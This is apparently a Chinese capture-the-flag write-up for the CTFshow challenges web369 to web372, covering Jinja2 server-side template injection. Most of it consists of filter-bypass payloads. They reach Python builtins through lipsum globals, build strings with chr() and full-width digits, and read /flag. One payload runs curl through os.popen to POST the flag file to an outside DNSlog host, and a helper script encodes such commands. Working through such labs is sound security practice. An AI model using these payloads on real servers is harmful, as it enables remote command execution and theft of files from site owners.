web369-372

web369

本题在上题基础上还过滤了request，os，使用 {% %} 流程语句、set 定义变量、attr() 调用属性、~字符串拼接

利用模板内置对象提取下划线 _，手动拼接出 xxx 类私有属性
通过字典键名拼接生成属性名字符串，绕过关键字过滤
借助全局内置对象 lipsum 拿到全局域，进而获取 builtins 内置函数库
使用 chr() 函数 +~ 拼接字符编码，无引号构造 /flag 文件路径
调用内置 open() 函数读取 flag 文件内容并打印输出

payload
?name= {% set a=(()|select|string|list).pop(24) %} {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} {% set init=(a,a,dict(init=1)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

web370

本题比369多过滤了数字，payload完全相同，只需要将半角数字替换为全角数字即可，在代码执行时全角数字会被自动转为半角数字
payload:
?name= {% set a=(()|select|string|list).pop(２４) %} {% set globals=(a,a,dict(globals=１)|join,a,a)|join %} {% set init=(a,a,dict(init=１)|join,a,a)|join %} {% set builtins=(a,a,dict(builtins=１)|join,a,a)|join %} {% set a=(lipsum|attr(globals)).get(builtins) %} {% set chr=a.chr %} {% print a.open(chr(４７)~chr(１０２)~chr(１０８)~chr(９７)~chr(１０３)).read() %}

web371

本题过滤printf，使用crul带外将flag输出
通过执行crul命令 curl -X POST -F xx=@/flag http://ri7smq68.eyes.sh/ 解析该网址得到flag

dns在线生成及解析工具：http://eyes.sh/dns/
payload:
?name= {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(２４)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set ohs=(dict(o=a,s=a)|join)%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd=chr(９９)%2bchr(１１７)%2bchr(１１４)%2bchr(１０８)%2bchr(３２)%2bchr(４５)%2bchr(８８)%2bchr(３２)%2bchr(８０)%2bchr(７９)%2bchr(８３)%2bchr(８４)%2bchr(３２)%2bchr(４５)%2bchr(７０)%2bchr(３２)%2bchr(１２０)%2bchr(１２０)%2bchr(６１)%2bchr(６４)%2bchr(４７)%2bchr(１０２)%2bchr(１０８)%2bchr(９７)%2bchr(１０３)%2bchr(３２)%2bchr(１０４)%2bchr(１１６)%2bchr(１１６)%2bchr(１１２)%2bchr(５８)%2bchr(４７)%2bchr(４７)%2bchr(１１４)%2bchr(１０５)%2bchr(５５)%2bchr(１１５)%2bchr(１０９)%2bchr(１１３)%2bchr(５４)%2bchr(５６)%2bchr(４６)%2bchr(１０１)%2bchr(１２１)%2bchr(１０１)%2bchr(１１５)%2bchr(４６)%2bchr(１１５)%2bchr(１０４) %} {% if ((lipsum|attr(glo)).get(ohs).popen(cmd))%} abc {% endif %}

生成chr字符脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
string = input("你要输入的字符串：")
result = ''
def str2chr(s):
global result
for i in s:
result += "chr("+half2full(str(ord(i)))+")%2b"
str2chr(string)
print(result[:-3])

web372

本题过滤count，使用全角数字即可，payload同371，查询dns解析得到flag